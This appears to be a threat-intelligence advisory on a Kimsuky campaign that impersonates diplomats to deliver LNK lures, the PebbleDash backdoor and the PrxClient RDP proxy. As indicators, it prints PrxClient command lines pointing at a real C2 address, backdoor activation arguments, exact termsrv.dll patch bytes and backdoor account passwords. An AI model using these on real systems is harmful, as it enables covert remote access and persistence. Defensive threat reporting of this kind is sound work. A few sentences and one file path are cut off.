Kimsuky Group Impersonates Diplomats to Deploy PebbleDash Backdoor and PrxClient Proxy (CVE-less LNK Campaign) — Threadlinqs Intelligence
As of 2026-07-22, Kimsuky Group Impersonates Diplomats to Deploy PebbleDash Backdoor and PrxClient Proxy (CVE-less LNK Campaign) is a high-severity malware threat attributed to Kimsuky (North Korea), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 34 indicators of compromise.
Threat ID: TL-2026-1645 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Attribution: Kimsuky · North Korea · ESPIONAGE
The North Korea-linked Kimsuky group (APT43/Black Banshee) ran spear-phishing campaigns against education-sector personnel by impersonating diplomatic entities, using malicious LNK files to trigger
In a campaign documented by AhnLab ASEC (published 2026-07-17), Kimsuky operators sent spear-phishing emails impersonating diplomatic personnel and organizations, targeting education-sector victims with LNK attachments disguised as documents (e.g., "vvn.31.Pdf....Lnk", "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk"). Two execution chains were observed: Case 1 has the LNK directly invoke an embedded PowerShell script; Case 2 has the LNK launch mshta.exe against an embedded malicious HTA script. Both chains ultimately drop a JavaScript downloader ("DefenderUpdate.js") that beacons to C2 for follow-on payloads, plus "Templates.js"/"Templates.ps1" which install a persistence launcher and register a scheduled task named "Windows Templates Update", and "capture.ps1", an exfiltration script that reads and transmits local files to the C2 server.
The primary payload is the PebbleDash backdoor, deployed in two variants. An argument-based variant is installed with the argument "QCvt5676hZXbg" and executed with "mJnZzaCN2RnFG", self-copying to %SystemRoot%\System32\smss.exe to masquerade as a legitimate Windows process. A registry-based variant requires argument "edcVFRtgbNHY6", stores its encrypted configuration under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C}, and uses an injector DLL (%SystemDirectory%\sqliom.dll) to inject its payload into the LSASS process for defense evasion and credential-access proximity. PebbleDash communicates with its C2 over an HTTP-based protocol using URL parameters (Page=<Random>&mode=<ConfigID>&DATA=<SessionID> for registration, Page=1&mode=<SessionID>2 for command retrieval, Page=2&mode=<SessionID>&DATA=<EncData> for result exfiltration) and supports at least 27 distinct commands covering drive/process/system enumeration, file download/upload/delete/wipe/move, arbitrary process execution, configuration updates, heartbeat, self-deletion, and remote shutdown.
Alongside PebbleDash, the actor deploys PrxClient, a lightweight relay/proxy tool that pivots traffic between the attacker's C2 infrastructure and the victim's local RDP port (3389), effectively turning the compromised host into a reverse-proxy jump box for interactive RDP sessions without requiring inbound firewall exceptions. Observed invocations pass six positional arguments: C2 heartbeat port, C2 IP, C2 port, local IP, local RDP port, and a heartbeat-data flag, e.g. "125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2" and "rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1".
To maximize the value of RDP access, the actor drops RDP Wrapper (via rdpwrap.bat) to enable RDP service on editions that normally restrict it and to activate a dormant Administrator account, alongside an in-house RDP Patcher that binary-patches the legitimate termsrv.dll routine (legitimate bytes "39 81 3C 06 00 00..." replaced with "B8 00 01 00 00 89 81 38 06 00 00 90") to remove the single-session RDP restriction, enabling concurrent multi-session RDP logins without alerting the interactive user. The patched DLL is staged at C: emp.dll before replacing the system file. The actor then creates multiple hidden local backdoor accounts with disguised names and passwords, including "Administrator" (variant passwords resembling "12*@#"), a second "Administrator" variant ("R8*ca"), and "Adminini" ("09*21"), to guarantee persistent multi-session RDP access even if one credential set is discovered and remediated.
Privilege escalation is achieved via UACMe-derived UAC-bypass techniques and SspiUacBypass, a technique that abuses NTLM datagram security-context manipulation in the Security Support Provider Interface to elevate privileges without a UAC prompt. A custom keylogger persists on the host, writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin before periodic exfiltration to the C2. Additional loader/downloader scripts ("swas.txt", "sadadf.txt") execute further obfuscated PowerShell, and the actor is observed running "rdpwrap_new.bat"
Target sectors: education, government administration, diplomatic
Target regions: south korea, Global
References
- Attack Cases by the Kimsuky Group Impersonating Diplomats (PebbleDash, PrxClient)
- Kimsuky, Black Banshee, Velvet Chollima, Emerald Sleet, THALLIUM, APT43, TA427, Springtail, Earth Kumiho, PatheticSlug, Group G0094
- APT43 Hackers Targeting Academic Institutions Using Exposed Credentials
- APT PROFILE – APT43
- Threat Assessment: North Korean Threat Groups
- Kimsuky (Threat Actor)
- Kimsuky (G0094): North Korean APT Group Tactics, Techniques, and Defenses
Detections & IOCs
As of 2026-07-24, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 34 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1566.001, T1059.001, T1059.007, T1218.005, T1053.005, T1136.001, T1098.007, T1053.005, T1548.002, T1140